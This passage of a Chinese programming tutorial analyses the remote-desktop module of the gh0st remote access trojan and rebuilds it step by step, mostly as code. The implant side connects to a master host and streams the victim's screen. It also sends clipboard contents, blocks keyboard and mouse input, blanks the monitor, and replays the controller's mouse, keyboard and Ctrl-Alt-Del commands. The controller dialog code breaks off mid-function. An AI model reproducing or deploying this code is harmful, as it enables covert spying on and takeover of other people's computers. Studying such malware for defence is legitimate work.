hPal = GetStockObject(DEFAULT_PALETTE);
if (hPal)
{
hDC = ::GetDC(NULL);
hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
RealizePalette(hDC);
}
// 获取该调色板下新的像素值
GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
//恢复调色板
if (hOldPal)
{
SelectPalette(hDC, hOldPal, TRUE);
RealizePalette(hDC);
::ReleaseDC(NULL, hDC);
}
//创建位图文件
fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
if (fh==INVALID_HANDLE_VALUE)
return FALSE;
// 设置位图文件头
bmfHdr.bfType = 0x4D42; // "BM"
dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize;
bmfHdr.bfSize = dwDIBSize;
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
// 写入位图文件头
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
// 写入位图文件其余内容
WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL);
//清除
GlobalUnlock(hDib);
GlobalFree(hDib);
CloseHandle(fh);
return TRUE;
void CMy_ScreenDlg::OnOK()
{
m_pic.SetBitmap(tempmap);
delete temprect;
SaveBmp("123.bmp",tempmap);
//CDialog::OnOK();
}

7.3 虚拟键盘和虚拟鼠标的一个小demo
认识几个API
SetCursorPos
左上
BOOL SetCursorPos( //将光标移动到指定位置
int X, //光标位置
int Y
);
mouse_event
VOID mouse_event( //合成鼠标动作
DWORD dwFlags, //动作的标识
DWORD dx, //将要发生动作的位置相对于当前位置的距离
DWORD dy, //
DWORD dwData, 如果dwFlags标识中含有MOUSEEVENTF_HWHEEL值,这个参数包含滚动的值
ULONG_PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-mouse_event
MOUSEEVENTF_LEFTDOWN
0x0002
MOUSEEVENTF_LEFTUP
0x0004
MOUSEEVENTF_RIGHTDOWN
0x0008
MOUSEEVENTF_RIGHTUP
0x0010
keybd_event
VOID keybd_event( //合成键盘击键动作
BYTE bVk, //虚拟键值
BYTE bScan, //硬件扫描码
DWORD dwFlags, //按下或抬起的状态
PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-keybd_event
KEYEVENTF_EXTENDEDKEY
0x0001
KEYEVENTF_KEYUP
0x0002
添加相应变量

添加鼠标"左键单击"并添加代码:
UpdateData();
SetCursorPos(m_x, m_y); //鼠标移动到指定位置
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); //按下鼠标
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); //抬起鼠标
添加鼠标"右键单击"并添加代码:
UpdateData();
SetCursorPos(m_x, m_y); //鼠标移动到指定位置
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); //按下鼠标
Sleep(10);
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); //抬起鼠标
添加键盘"按下"事件并添加代码:
UpdateData(TRUE);
Sleep(100);
GetDlgItem(IDC_EDIT4)->SetFocus(); // 放置焦点
keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
Sleep(1);
keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);
添加键盘"抬起"事件并添加代码:
UpdateData(TRUE);
Sleep(100);
GetDlgItem(IDC_EDIT4)->SetFocus();
//keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
//Sleep(1);
keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);
ASCII码 美国信息交换标准代码
65 66 67
abc
7.4 gh0st远程桌面管理的分析 抓取与传输
从用户的点击菜单事件开始分析
文件望远镜搜索OnScreenspy() 事件
void CPcView::OnScreenspy()
{
// TODO: Add your command handler code here
BYTE bToken = COMMAND_SCREEN_SPY; // 发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
}

在服务端 搜索 CKernelManager.cpp OnReceive
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) // 收到消息
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;

创建了个 线程
Loop_ScreenManager
Loop_ScreenManager
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
CScreenManager 构造函数
//csereenManager这个类主要用于抓取好的数据的传输和一些控制的功能
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN; // 屏幕扫描算法
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
//启动两个功能 ControlThread 用于 主控端对服务器的控制
//workthread 的分析
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// 加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
return -1;
}
WorkThread


DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 发送bmp位图结构
// 等控制端对话框打开
pThis->WaitForDialogOpen();
// 等待 主控回应
pThis->sendFirstScreen(); //发送第一帧的数据
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen(); //发送接下来的 数据
}catch(...){};
// CScreenSpy 类
return 0;
}
void CScreenManager::sendBITMAPINFO()
{
//m_pScreenSpy 这个变量的 定义 就是 CScreenSpy类 .h CScreenSpy *m_pScreenSpy;
//得到 bmp 结构大小
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
UINT CScreenSpy::getBISize()
{
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::getBI()
{
return m_lpbmi_full;
}
//将位图结构 返回
CScreenSpy构造函数

CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
//查看 桌面 所用的 像素位
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation()) // 得到 当前用户控制台
{
m_hDeskTopWnd = GetDesktopWindow(); //得到桌面窗口
m_hFullDC = GetDC(m_hDeskTopWnd); //获取 DC
}
m_dwBitBltRop = SRCCOPY;
m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); //获取屏幕大小
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
//根据 设备DC 创建 内存 DC
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
// .h LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
//位图的 信息结构 ConstructBI
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
//根据设备 DC 位图结构 创建一个 BItmap
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
// 用 设备的 DC 创建 位图 图像 结构 保存在这 中缓冲区内
// 保证 不用保存成文件 进行发送给 主控 为位图分配了 内存空间
// HBITMAP m_hLineBitmap, m_hFullBitmap;
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
// 将内存DC 与 BITMAP 联系起来
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}

ConstructBI 函数定义
为了创建位图的 结构
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount 为1 (黑白二色图) 、4 (16 色图) 、8 (256 色图) 时由颜色表项数指出颜色表大小
biBitCount 为16 (16 位色图) 、24 (真彩色图, 不支持) 、32 (32 位色图) 时没有颜色表
*/
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
lpbmih->biWidth = biWidth;
lpbmih->biHeight = biHeight;
lpbmih->biPlanes = 1;
lpbmih->biBitCount = biBitCount;
lpbmih->biCompression = BI_RGB;
lpbmih->biXPelsPerMeter = 0;
lpbmih->biYPelsPerMeter = 0;
lpbmih->biClrUsed = 0;
lpbmih->biClrImportant = 0;
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
// 16位和以后的没有颜色表,直接返回
if (biBitCount >= 16)
return lpbmi;
/*
Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。
Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。
*/
HDC hDC = GetDC(NULL);
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
ReleaseDC(NULL, hDC);
DeleteObject(hBmp);
if (m_bIsGray)
{
for (int i = 0; i < color_num; i++)
{
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
}
}
return lpbmi;
}
sendFirstScreen
7.5 服务端编写
Screen类
ScreenManager.h和ScreenManager.cpp,我们自己再重新写一遍这个类,
ScreenSpy这个类完整的成熟的类
添加insert New class
添加CScreenManager这个类他的父类为CManager(注意他的文件位置) common下
添加CScreenManager这个类他的父类为CManager(注意他的文件位置)
添加构造函数的参数
// screenmanager.cpp
//#include "stdafx.h"
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
在.h文件中添加成员变量:
#include "ScreenSpy.h"
public:
bool m_bIsWorking;
bool m_bIsBlockInput;
bool m_bIsBlankScreen;
private:
BYTE m_bAlgorithm;
bool m_bIsCaptureLayer;
int m_biBitCount;
HANDLE m_hWorkThread, m_hBlankThread;
CCursorInfo m_CursorInfo;
CScreenSpy *m_pScreenSpy;
初始化构造函数变量
创建两个线程
m_bAlgorithm = ALGORITHM_SCAN; //屏幕扫描算法
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8); //CScreenSpy类
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
//启动两个功能 看字义我们就知道ControlThread用于主控端对服务端的控制
//我们由浅入深 先看一下ControlThread的功能转到这个函数
//接着分析WorkThread函数
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
ControlThread
添加 static DWORD WINAPI ControlThread(LPVOID lparam);
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// 加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
//这个函数只是用于处理服务端黑屏的 我们返回构造函数
return -1;
bool IsConnect()

判断 服务与主控 是否链接成功
bool CScreenManager::IsConnect()
{
return m_pClient->IsRunning();
}
bool IsMetricsChange()

屏幕分辨率是否改变
// 屏幕分辨率是否发生改变
bool CScreenManager::IsMetricsChange()
{
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI(); // 得到当前分辨率的位图结构
// 跟当前分辨率 比较
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
}
void ResetScreen(int biBitCount)
重新设置屏幕的功能
void CScreenManager::ResetScreen(int biBitCount)
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
delete m_pScreenSpy;
if (biBitCount == 3) // 4位灰度
m_pScreenSpy = new CScreenSpy(4, true);
else if (biBitCount == 7) // 8位灰度
m_pScreenSpy = new CScreenSpy(8, true);
else
m_pScreenSpy = new CScreenSpy(biBitCount);
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
m_biBitCount = biBitCount;
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
int GetCurrentPixelBits()
int CScreenManager::GetCurrentPixelBits()
{
return m_biBitCount;
}
包含#include <winable.h> // BlockInput解决一个编译错误
WorkThread
DWORD WINAPI WorkThread(LPVOID lparam)
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO(); //发送bmp位图结构
// 等控制端对话框打开
pThis->WaitForDialogOpen(); //等待主控端的回应
pThis->sendFirstScreen(); //发送第一帧的数据
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen(); //然后继续发送接下来的数据
}catch(...){};
//看上去这个函数也很简单,他的功能来自于sendBITMAPINFO,sendFirstScreen,sendNextScreen
//我们要分析这三个函数就必须了解一个类CScreenSpy
//查看sendBITMAPINFO函数的定义证明这一点
return 0;
}

void sendBITMAPINFO()
void CScreenManager::sendBITMAPINFO()
{
//刚才给大家看过了m_pScreenSpy这个变量的定义就是CScreenSpy类
//这里得到bmp结构的大小
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
//这里将bmp位图结构发送出去
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}

void sendFirstScreen()
void CScreenManager::sendFirstScreen()
{
//这个函数也没有什么特别的就是从CScreenSpy的getFirstScreen函数中得到图像数据
//然后用getFirstImageSize得到数据的大小然后发送出去,我们到getFirstScreen
//的定义
BOOL bRet = false;
LPVOID lpFirstScreen = NULL;
lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void sendNextScreen()
void CScreenManager::sendNextScreen()
{
//这个函数依旧很简洁 得到数据,得到数据大小,然后发送
//我们到getNextScreen函数的定义
LPVOID lpNetScreen = NULL;
DWORD dwBytes;
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
DWORD dwBytesLength = 1 + dwBytes;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (!lpBuffer)
return;
lpBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void OnReceive(LPBYTE lpBuffer, UINT nSize)
接受控制
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// 远程仍然可以操作
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
void SendLocalClipboard()
发送剪切板数据
void CScreenManager::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL)
{
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR) GlobalLock(hglb); // 锁定内存
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
void ProcessCommand( LPBYTE lpBuffer, UINT nSize )
void CScreenManager::ProcessCommand(LPBYTE lpBuffer, UINT nSize)
{
// 数据包不合法
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// 命令个数
int nCount = nSize / sizeof(MSG);
// 处理多个命令
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}
switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}
void UpdateLocalClipboard( char *buf, int len )
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard(); // 剪切板置空
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len); // 分配一段内存
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
#define _WIN32_WINNT 0x0400 处理编译错误
7.6 主控端的编写

添加对话框资源IDD_SCREENSPY并添加最大化最小化框
为对话框添加相应的类CScreenSpyDlg(注意他的基类)。
CScreenSpyDlg更改构造函数的参数,编译处理编译错误
.cpp中 添加全局枚举变量,和外部定义:
enum
{
IDM_CONTROL = 0x0010,
IDM_SEND_CTRL_ALT_DEL,
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
IDM_BLOCK_INPUT, // 锁定远程计算机输入
IDM_BLANK_SCREEN, // 黑屏
IDM_CAPTURE_LAYER, // 捕捉层
IDM_SAVEDIB, // 保存图片
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_ALGORITHM_SCAN, // 隔行扫描算法
IDM_ALGORITHM_DIFF, // 差异比较算法
IDM_DEEP_1, // 屏幕色彩深度.....
IDM_DEEP_4_GRAY,
IDM_DEEP_4_COLOR,
IDM_DEEP_8_GRAY,
IDM_DEEP_8_COLOR,
IDM_DEEP_16,
IDM_DEEP_32
};
// 两种算法
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
#define ALGORITHM_DIFF 2 // 速度很慢,也占CPU,但是数据量都是最小的
6.h添加文件中添加类的成员变量:
private:
int m_nBitCount;
bool m_bIsFirst;
bool m_bIsTraceCursor;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
HICON m_hIcon;
MINMAXINFO m_MMI;
HDC m_hDC, m_hMemDC, m_hPaintDC;
HBITMAP m_hFullBitmap;
LPVOID m_lpScreenDIB;
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
UINT m_nCount;
UINT m_HScrollPos, m_VScrollPos;
HCURSOR m_hRemoteCursor;
DWORD m_dwCursor_xHotspot, m_dwCursor_yHotspot;
POINT m_RemoteCursorPos;
BYTE m_bCursorIndex;
CCursorInfo m_CursorInfo;
bool m_bIsCtrl;
.h中 添加#include "..\..\common\CursorInfo.h" 解决编译错误
构造函数的代码
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CScreenSpyDlg::IDD, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
m_lpScreenDIB = NULL;
char szPath[MAX_PATH];
GetSystemDirectory(szPath, MAX_PATH);
lstrcat(szPath, "\\shell32.dll");
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
//重要的是这里,这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
//这里就是保存bmp位图头了
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
m_bIsCtrl = false; // 默认不控制
m_nCount = 0;
m_bCursorIndex = 1;
}
添加WM_CLOST消息
void CScreenSpyDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
::ReleaseDC(m_hWnd, m_hDC);
DeleteObject(m_hFullBitmap);
if (m_lpbmi)
delete m_lpbmi;
m_lpbmi=NULL;
if (m_lpbmi_rect)
